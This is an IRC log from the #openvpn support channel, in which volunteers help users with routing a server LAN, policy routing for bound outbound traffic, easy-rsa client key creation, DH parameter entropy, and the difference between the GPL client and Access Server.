04:52 -!- p3rror [~p3rror@41.249.253.52] has quit [Ping timeout: 248 seconds]
05:08 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:13 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Remote host closed the connection]
05:26 -!- Rory [~rory@irc.rory.sh] has left #openvpn ["Leaving this channel"]
06:02 -!- p3rror [~p3rror@41.249.253.52] has quit [Quit: Leaving]
06:04 -!- aegis [~aegis@184.75.223.34] has quit [Ping timeout: 252 seconds]
06:05 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
06:05 < ludde> With windows VPN, I can connect to my home network (192.168.1.1) and all VPN connections get 192.168.1.150... addresses, I can access all my network services at home when on the VPN. How do I setup OpenVPN in the same way?
06:10 -!- aegis [~aegis@184.75.223.34] has joined #openvpn
06:10 -!- MattJ [~matthew@82.152.33.17] has joined #openvpn
06:15 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Quit: Nettalk6 - www.ntalk.de]
06:35 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Quit: Leaving]
06:37 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
06:38 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Remote host closed the connection]
06:39 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn
06:59 -!- cherwin [~cherwin@mail.zorgcompagnon.nl] has left #openvpn []
07:00 -!- ade_b [~Ade@redhat/adeb] has joined #openvpn
07:08 -!- XJR-9 [~XJR-9@pdpc/supporter/active/xjr-9] has quit [Ping timeout: 245 seconds]
07:11 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-umnoscewvlatepbg] has quit [Ping timeout: 245 seconds]
07:20 -!- aegis [~aegis@184.75.223.34] has quit [Read error: Connection timed out]
07:21 -!- aegis [~aegis@184.75.223.34] has joined #openvpn
07:27 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Read error: Operation timed out]
07:27 -!- mrrcp [~mrrcp@162.243.9.38] has left #openvpn []
07:32 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:38 -!- aegis [~aegis@184.75.223.34] has quit [Ping timeout: 260 seconds]
07:40 -!- takamichi [~takamichi@92.251.122.219] has quit [Quit: Computer has gone to sleep.]
07:41 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:42 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
07:48 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
07:49 -!- aegis [~aegis@184.75.223.34] has joined #openvpn
07:50 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
07:54 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
07:58 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:01 -!- psypher246 [~ruald@ec2-54-246-173-153.eu-west-1.compute.amazonaws.com] has joined #openvpn
08:02 < psypher246> hello all, is there anyone around who can assist me with openvpn access server?
08:02 < psypher246> I am unable to get it working on Amazon Linux which is red hat based
08:03 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Excess Flood]
08:05 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:06 < psypher246> when installing the openvpn-as pkgs for redhat 6, 64bit there seems to be a problem with integrating with PAM, the default admin user openvpn is unable to log into the admin web console
08:06 < psypher246> I keep getting PAM auth failed: Authentication failure', 'user': 'openvpn
08:09 -!- psypher246 [~ruald@ec2-54-246-173-153.eu-west-1.compute.amazonaws.com] has left #openvpn []
08:10 < g0z> patient guy
08:11 -!- takamichi [~takamichi@217.23.15.212] has quit [Read error: Connection reset by peer]
08:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:19 -!- MattJ [~matthew@82.152.33.17] has quit [Ping timeout: 246 seconds]
08:32 -!- MattJ [~matthew@82.152.33.17] has joined #openvpn
08:38 -!- aegis [~aegis@184.75.223.34] has quit [Quit: See ya!]
08:39 -!- Guest22291 [~aegis@184.75.223.34] has joined #openvpn
08:52 -!- Guest22291 [~aegis@184.75.223.34] has quit [Quit: See ya!]
08:53 -!- rmk0 [~rmk0@unaffiliated/rothwell] has quit [Quit: Lost terminal]
08:57 -!- lmm_ is now known as lmm
08:57 <@ecrist> he went to the correct channel for that
08:57 <@ecrist> !as
08:57 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
09:08 -!- XJR-9 [uid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
09:08 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-stzujfsewwkhqlof] has joined #openvpn
09:08 -!- MattJ [~matthew@82.152.33.17] has quit [Ping timeout: 260 seconds]
09:10 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
09:10 < moparisthebest> I'm trying to replace an ipip tunnel with openvpn so the traffic is encrypted
09:11 < moparisthebest> I can ping both ends of the tunnel from each machine, and access services running on the one end from the other
09:11 < moparisthebest> but I also need the ability to bind to the address on the one end while making outgoing requests, like:
09:11 < moparisthebest> wget http://ipecho.net/plain -O- --bind-address=10.1.0.2 -q
09:12 < moparisthebest> when I do that over the ipip tunnel, I get the remote servers IP
09:12 < moparisthebest> but over openvpn, I get my local IP
09:12 < moparisthebest> so it's *probably* a routing issue, but I can't figure it out?
09:15 -!- XJR-9 [uid2977@pdpc/supporter/active/xjr-9] has quit [Ping timeout: 246 seconds]
09:16 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-lqlxbexdafxuttjk] has quit [Ping timeout: 268 seconds]
09:16 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-stzujfsewwkhqlof] has quit [Read error: Operation timed out]
09:16 -!- lmm [uid6417@gateway/web/irccloud.com/x-fwjvrrjjpidypngp] has quit [Ping timeout: 252 seconds]
09:17 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-jihhrlxnmtvaxmjq] has quit [Ping timeout: 256 seconds]
09:18 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-qamevjjvdeoajqtx] has quit [Ping timeout: 264 seconds]
09:18 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-nquaprwdszicbwui] has quit [Ping timeout: 268 seconds]
09:30 -!- MattJ [~matthew@82.152.33.17] has joined #openvpn
09:34 -!- nado [~nado@static.101.236.9.5.clients.your-server.de] has left #openvpn []
09:40 -!- mrrothhcloud___ [uid4697@gateway/web/irccloud.com/x-pkkbjtmpspftljwh] has joined #openvpn
09:40 -!- lmm_ [uid6417@gateway/web/irccloud.com/x-ottodmskjilimsse] has joined #openvpn
09:44 -!- Diffen [~diffen@c-077ae555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
09:49 -!- krphop [~krphop@watch.out.the.feds.are.rightbehind.us] has joined #openvpn
09:51 -!- XJR-9 [uid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
09:52 <+pekster> moparisthebest: Doing a bind like that does not change the routing table so when you look up that presumably public (not on your network) DNS name, it goes out the default route
09:53 <+pekster> Maybe you want to see !redirect that does mess with your routing table? If you want to route "some" but not "all" globally-outbound traffic you need policy routing, or perhaps some proxy server at the remote end
10:00 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
10:03 -!- master_of_master [~master_of@p4FF24724.dip0.t-ipconnect.de] has joined #openvpn
10:03 -!- master_o1_master [~master_of@p4FD7B58B.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
10:12 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has quit [Ping timeout: 248 seconds]
10:12 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:13 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has joined #openvpn
10:14 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Read error: Connection reset by peer]
10:15 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
10:20 -!- mattock is now known as mattock_afk
10:22 -!- raidz_away is now known as raidz
10:25 < moparisthebest> the answer was routing rules
10:25 < moparisthebest> ip rule del from 10.1.0.0/30 lookup 200; ip rule add from 10.1.0.0/30 table 200; ip route add default via 10.1.0.1 table 200
10:26 <+pekster> Right, that's basic policy routing for Linux
10:26 < moparisthebest> yea, I missed that when copying my ipip config, sorry about that :)
10:32 -!- ade_b [~Ade@redhat/adeb] has quit [Quit: Too sexy for his shirt]
10:43 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
10:46 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-cbwkbxfdzdneyldw] has joined #openvpn
10:55 -!- toothe [~mongolian@unaffiliated/toothe] has joined #openvpn
10:55 < toothe> confused, are there two versions of the openVPN client for Windows?
10:55 < toothe> There seems to be a "small" version that is a small window that only appears on the task bar
10:55 < toothe> and then a version that opens a large window
10:55 < toothe> I do not know how to distinguish between them...
10:56 < toothe> This is the version I want: https://www.tunnelr.com/images/tutorials/windows-xp-vpn-openvpn-3.png
10:57 <+rob0> !windows
10:57 <@vpnHelper> "windows" is (#1) computers are like air conditioners, they work well until you open windows. or (#2) http://secure-computing.net/files/windows.jpg for funny or (#3) http://secure-computing.net/files/windows_2.jpg for more funny
10:58 <+rob0> !gui
10:58 <@vpnHelper> "gui" is (#1) The only official GUI is the OpenVPN-GUI for Windows (see https://community.openvpn.net/openvpn/wiki/OpenVPN-GUI .) While there are other 3rd party GUIs, they may cause unexpected issues or (#2) If you're having problems starting OpenVPN through an unoffiical GUI, try launching it on the command line; if that works, the GUI is your problem
10:59 <+rob0> I guess openvpn for Windows is a command-line thing just like openvpn for Unix.
10:59 < lupine> you get little graphical frontends for all platforms
10:59 <+rob0> not my platform :)
11:00 < lupine> which is...?
11:00 <+rob0> not at issue. I don't want a GUI anyway.
11:00 < toothe> ahh, I didn't know that.
11:00 -!- speed_racer81 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 240 seconds]
11:00 < lupine> ^^
11:01 < toothe> so, its a 3rd-party tool...
11:02 < toothe> but, I'm all but certain I dl'ed the GUI version I want from the OpenVPN website.
11:03 <+rob0> uh, that sounds suspiciously like the openvpn-AS client.
11:04 < toothe> ha! NIST's website is down.
11:04 < toothe> I did not expect that.
11:04 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
11:04 < lupine> shame the NSA is still running
11:06 < toothe> that's wild, I need this website to do my job.
11:06 < toothe> sorry, tangent :-)
11:06 <+rob0> Note the difference: www.openvpn.net != community.openvpn.net
11:07 <+rob0> If you want to use AS, ...
11:07 <+rob0> !as
11:07 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
11:07 < toothe> I do not yet know the difference.
11:07 <+rob0> This channel is for the GPL software, openvpn "community version".
11:07 < toothe> how is that different?
11:07 <+rob0> and I already gave you a download link
11:08 <+pekster> "OpenVPN" is GPLv2 and free to use; "Access Server" and "OpenVPN Connect" are non-free, non-GPL commercial solutions with their own EULA and subscription agreements
11:08 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
11:08 <+pekster> Worse, the main download links off the openvpn.net page show both in the hover-bar and place AS first, confusing lots of people who assume that things on the "community.openvpn.net" page are in fact community-authored downloads
11:09 <+pekster> Use the links you get in !download above to avoid confusion
11:09 < toothe> I googled OpenVPN-AS client, and it looks like the system-tray GUI. That's not what I want.
11:09 <+pekster> Read about the GPL GUI in the !gui link above
11:09 <+pekster> I wrote that page and it has step-by-step screenshots
11:09 <+rob0> in any case, the AS client only connects to the AS server.
11:10 -!- CygniX [~CygniX@unaffiliated/twois10] has joined #openvpn
11:11 <+pekster> That might not strictly be true (since AS is using GPL 2.2.x behind-the-scenes anyway) but I don't care enough to download the non-free client and find out :P. It's a different codebase for the client anyway
11:13 < CygniX> question on adding a key, once you build the initial client key(s), server, and dh, and you able to go back and just build additional keys, or do clear var?
11:14 < CygniX> i meant can you build a client key at any time or do you have to clear vars?
11:14 <+pekster> CygniX: You can build keyapirs on any system (ideally you do it on the client/server to use the key, but many people don't choose to be that secure and generate them on the CA system; your call there.) The important thing is that you must sign the CSR (certificate request) from the same CA you used originally
11:15 < CygniX> pekster: thanks I think my question was phrased incorrectly
11:15 < CygniX> I have already built a single key, and can connet
11:15 < CygniX> I want to add  another client key
11:16 <+pekster> Use the same process you did initially then; if you're using easy-rsa v2 you simply source the 'vars' file and sign the request (optionally generating the keypair if you'd like to do it on that system instead of sign an imported request)
11:16 -!- niftylettuce [uid2733@gateway/web/irccloud.com/x-sdupnijsutyfwspu] has joined #openvpn
11:16 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has quit [Quit: Leaving]
11:17 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:17 < CygniX> My question is am I able to run './build-key client' at any time, or do I have to run "./clean-all" again
11:17 <+pekster> _never_ run clean-all unless you really want to clear all of your existing PKI data
11:17 <+rob0> doesn't "./clean-all" ... yes
11:18 -!- xorox90 [uid7069@gateway/web/irccloud.com/x-tczdtfeafgswmmqg] has joined #openvpn
11:18 <+pekster> rob0: In my easyrsa3 codebase I've helpfully renamed that command "init-pki" to make it painfully obvious what it does, and interactively it has a Big Nasty Warning if the dir exists ;)
11:18 <+rob0> If you "./clean-all" your new keypair is worthless, and no new clients can be added.
11:19 < CygniX> Ok thanks
11:20 <+pekster> http://paste.kde.org/pe52a515d/38064438/raw/
11:21 < CygniX> pekster, rob0, thanks, I was under the impression you could only build client keys before running './build-dh' and to add another key you had to start the build process
11:22 <+pekster> CygniX: Nope, once you have a valid CA you can sign all the CSRs you want. For a more basic overview to how PKI works, check out this section of my beta-code docs (just the intro is relevant here) http://pekster.sdf.org/code/projects/easyrsa3.html#overview
11:22 <@vpnHelper> Title: Project: Easy-RSA 3 (next-gen Easy-RSA codebase) (at pekster.sdf.org)
11:23 < CygniX> By the way, the initial, './build-dh' takes like 30 second, but when i cleaned all and built it again, it too about an hour. what is the reason for this?
11:24 <+pekster> Low entropy on your system, probably combined with low regneration of necessary entropy
11:24 -!- b00gz__ [uid6869@gateway/web/irccloud.com/x-sseaidjjqeiocllu] has joined #openvpn
11:24 <+pekster> An hour seems excessive (at least for <=2048-bit params unless you have a really old box) but if you don't help refresh entropy, the system blocks until it has enough
11:24 -!- heraclitus [~halcyon@46.165.251.167] has joined #openvpn
11:24 -!- heraclitus [~halcyon@46.165.251.167] has quit [Changing host]
11:24 -!- heraclitus [~halcyon@unaffiliated/heraclitis] has joined #openvpn
11:25 < CygniX> it was 4096
11:25 <+pekster> Sounds like you removed all available entropy the first time; 4096 is (IMO) excessive for today's needs and doesn't offer you that much more practical protection compared to 2048
11:26 < CygniX> The last time i was here, 4096 was recommended
11:26 <+pekster> In theory it "future-proofs" the security a small bit, but quite frankly any attacks on RSA are goign to be on the algorithm and not on the keysize at that point
11:26 <+pekster> !entropy
11:26 <@vpnHelper> "entropy" is https://www.youtube.com/watch?v=95N2KXqH5cs for a nice talk that explains some nice info on rsa factoring, especially why you need good entropy sources
11:27 <+pekster> Good talk by the FactHacks crew if you want info on entropy and RSA attacks
11:28 < CygniX> I had run the clean-all, spent an hour figuring why I could not connect :P
11:28 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
11:30 < toothe> i think i just screwed up my openvpn client install
11:30 < toothe> uninstalled and reinstlaled a few times, and now I cannot install it again
11:30 -!- sitaktif [~sitaktif@kollok.org] has quit [Read error: Connection reset by peer]
11:34 -!- diffen3 [~diffen@c-077ae555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
11:34 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
11:35 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
11:35 -!- Diffen [~diffen@c-077ae555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Ping timeout: 240 seconds]
11:48 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:50 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 252 seconds]
11:54 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
11:55 -!- speed_racer81 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 256 seconds]
12:00 -!- cconstantine_ [~cconstant@50-0-241-181.dedicated.static.sonic.net] has joined #openvpn
12:02 -!- CygniX [~CygniX@unaffiliated/twois10] has quit [Quit: Konversation terminated!]
12:12 -!- Freeaqingme [~Freeaqing@91.214.168.110] has quit [Ping timeout: 264 seconds]
12:13 -!- Drone4four [~Drone4fou@CPE78cd8e66c1f0-CM78cd8e66c1ed.cpe.net.cable.rogers.com] has quit [Quit: Leaving]
12:16 -!- elfixit [~Icedove@79-236.197-178.cust.bluewin.ch] has joined #openvpn
12:17 -!- Freeaqingme [~Freeaqing@91.214.168.110] has joined #openvpn
12:17 -!- Freeaqingme is now known as Guest99659
12:20 -!- Guest99659 [~Freeaqing@91.214.168.110] has left #openvpn []
12:20 -!- Freeaqingme [~Freeaqing@91.214.168.110] has joined #openvpn
12:30 -!- kiyor [~kiyor@12.13.90.183] has joined #openvpn
12:34 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has quit [Ping timeout: 248 seconds]
12:36 -!- mattock_afk is now known as mattock
12:51 -!- Freeaqingme [~Freeaqing@91.214.168.110] has quit [Ping timeout: 248 seconds]
12:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
12:54 -!- Freeaqingme [~Freeaqing@91.214.168.110] has joined #openvpn
12:54 -!- Freeaqingme is now known as Guest32079
12:56 -!- Guest32079 [~Freeaqing@91.214.168.110] has quit [Read error: Operation timed out]
12:56 -!- map [~Mark@host86-135-28-211.range86-135.btcentralplus.com] has quit [Ping timeout: 264 seconds]
13:04 -!- Guest22301 [~Freeaqing@91.214.168.110] has joined #openvpn
13:13 -!- Guest22301 [~Freeaqing@91.214.168.110] has quit [Quit: ZNC - http://znc.in]
13:14 -!- KaiForce [~chatzilla@107.223.70.10] has joined #openvpn
13:21 -!- al_nz1 [~Ali_nz1@203.96.203.94] has quit []
13:24 -!- Denial [Denial@05417302.skybroadband.com] has quit []
13:29 -!- mrrg [~notabot@delicious.sykosys.jp] has joined #openvpn
13:29 < mrrg> 'lo
13:30 < mrrg> anyone arond that's done openvpn performance/scale testing?
13:31 < mrrg> i notice the wiki has a dead link to a previous tool: https://community.openvpn.net/openvpn/wiki/PerformanceTesting#Deployingclients
13:31 <@vpnHelper> Title: PerformanceTesting – OpenVPN Community (at community.openvpn.net)
13:36 <+pekster> Crypto is generally the bottleneck, followed by MTU and queue lengths at higher throughputs
13:36 <+pekster> !gigabit
13:36 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
13:37 <+pekster> That doc has some info, but basically you won't get nearly the symmetric crypto throughput unless you have hardware crypto acceleration
13:37 -!- Devastator_ [~devas@186.214.110.201] has joined #openvpn
13:37 < mrrg> yeah cool, saw this page just a bit earlier
13:38 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 248 seconds]
13:38 < mrrg> in my case, i'm needing to handle many connections with small payloads, rather than sustained
13:39 <+pekster> If you're not sending tons of data the crypto processing is virtually nothing; I've connected 1000 clients before, although at that point the TLS processing of the --ping keepalive traffic becomes non-negligable
13:40 < mrrg> aye, last night i managed 17K clients but things were pretty weird
13:41 < mrrg> i guess what i'm looking for is if anyone has already set up test framework or if i need to reinvent the wheel
13:42 < mrrg> so far i've only been establishing a lot of tunnels, but need to start hooking in some more payload
13:43 <+pekster> That one is pretty easy to figure out; crypto eats CPU, unless you're offloading it to hardware devices
13:43 <+pekster> Ensure you are using aes-ni hardware if symmetric crypto processing is going to become your bottleneck so you avoid that
13:43 < mrrg> understood, thx for the tip
13:45 < mrrg> welp i'll lurk around here for a bit while during this project :)
13:45 < mrrg> loving openvpn so far
13:45 < mrrg> thx to all involved
13:49 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
13:51 -!- tharkun [~0@187.188.94.182] has joined #openvpn
13:54 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Quit: ZNC - http://znc.in]
13:55 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
13:57 -!- tharkun [~0@187.188.94.182] has quit [Changing host]
13:57 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
14:04 -!- neutr0n [~neutr0n@wsip-98-172-115-137.ks.ks.cox.net] has joined #openvpn
14:04 -!- g0z [gauze@bitchx/distort/g0z] has quit [Ping timeout: 245 seconds]
14:11 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
14:18 -!- kiyor_ [~kiyor@12.13.90.183] has joined #openvpn
14:20 -!- Probeus_ [probeus@probeus.no] has joined #openvpn
14:20 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn
14:20 -!- mode/#openvpn [+o krzie] by ChanServ
14:20 -!- pnielsen_ [pnielsen@2a01:7e00::f03c:91ff:fedf:3a21] has joined #openvpn
14:21 -!- ingmar5 [~ingmar@2001:41d0:2:ba51::1] has joined #openvpn
14:22 -!- BtbN_ [znc@btbn.de] has joined #openvpn
14:22 -!- _br_- [~bjoern_fr@213-239-215-232.clients.your-server.de] has joined #openvpn
14:22 -!- meepmeep_ [meepmeep@212.83.130.150] has joined #openvpn
14:22 -!- MacGyver_ [~MacGyver@sog.polvanaubel.com] has joined #openvpn
14:22 -!- uuuppz [uuuppz@78.129.207.46] has joined #openvpn
14:22 -!- abyss_ [~abyss@i-free.pl] has joined #openvpn
14:22 -!- APTX_ [APTX@unaffiliated/aptx] has joined #openvpn
14:23 -!- Corey_ [~Corey@freenode/staff/corey] has joined #openvpn
14:24 -!- kisom [~kisom@kisom.thr.kth.se] has quit [Ping timeout: 264 seconds]
14:24 -!- kisom [~kisom@130.237.41.249] has joined #openvpn
14:25 -!- Six6siX_ [~six6@jasmine1.sammybakar.com] has joined #openvpn
14:25 -!- caelian1 [~caelian@ovh.caelian.net] has joined #openvpn
14:25 -!- lupine_85 [~lupine@unaffiliated/lupine-85/x-7392152] has joined #openvpn
14:26 -!- eval-_ [~stephan@pool-98-109-15-233.nwrknj.fios.verizon.net] has joined #openvpn
14:26 -!- Boreeas- [~Boreeas@frozen.boreeas.net] has joined #openvpn
14:27 -!- Netsplit *.net <-> *.split quits: APTX, @dazo, Probeus, tyteen4a03, TypoNe, ex0a, @krzee, ScriptFanix, meepmeep, _br_,  (+31 more, use /NETSPLIT to show all of them)
14:27 -!- BtbN_ is now known as BtbN
14:27 -!- [clu5ter] [~staff@orionlink.net] has joined #openvpn
14:27 -!- Six6siX_ is now known as Six6siX
14:27 -!- Boreeas- is now known as Boreeas
14:27 -!- lupine_85 is now known as lupine
14:27 -!- krzie is now known as krzee
14:27 -!- Martin`_ [martin@shell.ipv6.octocore.net] has joined #openvpn
14:27 -!- exoa [~high@unaffiliated/ex0a] has joined #openvpn
14:27 -!- Martin`_ is now known as Martin`
14:27 -!- Netsplit over, joins: vertigo
14:29 -!- mode/#openvpn [+o plaisthos] by ChanServ
14:29 -!- Netsplit over, joins: plaisthos
14:30 -!- Netsplit over, joins: haasn
14:33 -!- Haigha [~root@dovahkiin.xomg.net] has joined #openvpn
14:33 -!- tyteen4a03 [tyteen4a03@par01.ipv6.gw-out.freebnc.net] has joined #openvpn
14:43 -!- kisom [~kisom@130.237.41.249] has quit [Ping timeout: 248 seconds]
14:45 -!- kisom [~kisom@kisom.thr.kth.se] has joined #openvpn
15:05 -!- troj [~xxx@2001:470:1f15:107a::50f7] has joined #openvpn
15:05 -!- TypoNe [~itsme@195.197.184.87] has joined #openvpn
15:05 -!- pppingme [~pppingme@unaffiliated/pppingme] has joined #openvpn
15:05 -!- P4k3 [~P4k3@c-6737e255.026-8-6b6c7810.cust.bredbandsbolaget.se] has joined #openvpn
15:08 -!- EugeneKay [eugene@codingforjes.us] has joined #openvpn
15:08 -!- dazo [~dazo@114.201.9.46.customer.cdi.no] has joined #openvpn
15:09 -!- dazo [~dazo@114.201.9.46.customer.cdi.no] has quit [Changing host]
15:09 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn
15:09 -!- mode/#openvpn [+o dazo] by ChanServ
15:11 -!- benedikt [~benedikt@unaffiliated/benedikt] has joined #openvpn
15:11 < benedikt> I'm getting repeated "Needs IPv6 code in mroute_extract_addr_from_packet" and the "mute" option doesnt affect it
15:13 < benedikt> there is a fix for this in version 2.2
15:17 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
15:19 <+pekster> And you're using what, pre-2.2?
15:20 <+pekster> That's way-old by now
15:27 -!- exoa is now known as ex0a
15:37 -!- pnielsen_ is now known as pnielsen
15:46 -!- neutr0n [~neutr0n@wsip-98-172-115-137.ks.ks.cox.net] has quit [Ping timeout: 252 seconds]
15:53 -!- tyteen4a03 [tyteen4a03@par01.ipv6.gw-out.freebnc.net] has quit [Ping timeout: 245 seconds]
15:54 -!- neutr0n [~neutr0n@wsip-98-172-115-137.ks.ks.cox.net] has joined #openvpn
15:56 -!- elfixit [~Icedove@79-236.197-178.cust.bluewin.ch] has quit [Ping timeout: 252 seconds]
15:58 -!- sitaktif [~sitaktif@kollok.org] has joined #openvpn
16:00 -!- elfixit [~Icedove@82.197.179.16] has joined #openvpn
16:02 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
16:02 -!- Cybertinus [~Cybertinu@2001:828:405:30:83:96:177:42] has joined #openvpn
16:04 -!- pfoo [~pfoo@117-a7-s0.oni.unscdf.eu] has joined #openvpn
16:04 -!- pfoo [~pfoo@117-a7-s0.oni.unscdf.eu] has quit [Changing host]
16:04 -!- pfoo [~pfoo@unaffiliated/pfoo] has joined #openvpn
16:11 -!- KaiForce [~chatzilla@107.223.70.10] has quit [Quit: KaiForce]
16:15 -!- ljvb [~jason@us.vps.vanbrecht.com] has joined #openvpn
16:19 -!- Corey_ is now known as Corey
16:21 -!- neutr0n [~neutr0n@wsip-98-172-115-137.ks.ks.cox.net] has quit [Ping timeout: 264 seconds]
16:22 -!- neutr0n [~neutr0n@wsip-98-172-115-137.ks.ks.cox.net] has joined #openvpn
16:23 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
16:26 -!- [clu5ter] is now known as clu5ter
16:26 -!- clu5ter [~staff@orionlink.net] has quit [Changing host]
16:26 -!- clu5ter [~staff@unaffiliated/clu5ter] has joined #openvpn
16:26 -!- tyteen4a03 [tyteen4a03@par01.ipv6.gw-out.freebnc.net] has joined #openvpn
16:27 -!- neutr0n_ [~neutr0n@wsip-98-172-115-137.ks.ks.cox.net] has joined #openvpn
16:27 -!- neutr0n [~neutr0n@wsip-98-172-115-137.ks.ks.cox.net] has quit [Read error: Connection reset by peer]
16:30 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
16:31 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 240 seconds]
16:41 -!- neutr0n_ [~neutr0n@wsip-98-172-115-137.ks.ks.cox.net] has quit [Ping timeout: 256 seconds]
16:53 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has quit [Ping timeout: 252 seconds]
16:57 -!- Riiiis [~Username@static-5-103-128-119.seas-nve.net] has joined #openvpn
17:00 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
17:02 < Riiiis> Hi guys, I would like to get a little help with openvpn. First of all I would like to be sure that i've understood the concept correctly.
17:02 < Riiiis> If i want the client to be able to connect to the servers local net
17:03 < Riiiis> would this be bridging mode?
17:04 < BtbN> !bridge
17:04 <@vpnHelper> "bridge" is (#1) http://openvpn.net/index.php/documentation/miscellaneous/ethernet-bridging.html for the doc or (#2) http://openvpn.net/index.php/documentation/faq.html#bridge1 for info from the FAQ or (#3) also see !tunortap and !layer2 and read --server-bridge in the manual (!man) or (#4) also see !whybridge
17:04 -!- jave [~jave@h-235-102.a149.priv.bahnhof.se] has joined #openvpn
17:05 < Riiiis> i guess it is
17:11 <+rob0> no.
17:12 < Riiiis> "and each client's TAP interface will be assigned an IP address that is part of the server's LAN." doesn't this mean that the client "is on the LAN" ?
17:12 < EugeneKay> You have the idea right, but don't do it that way
17:12 < EugeneKay> !route
17:12 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
17:12 <@vpnHelper> behind the server or client
17:12 < EugeneKay> !serverlan
17:12 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png |
17:12 <@vpnHelper> http://pekster.sdf.org/misc/serverlan.png
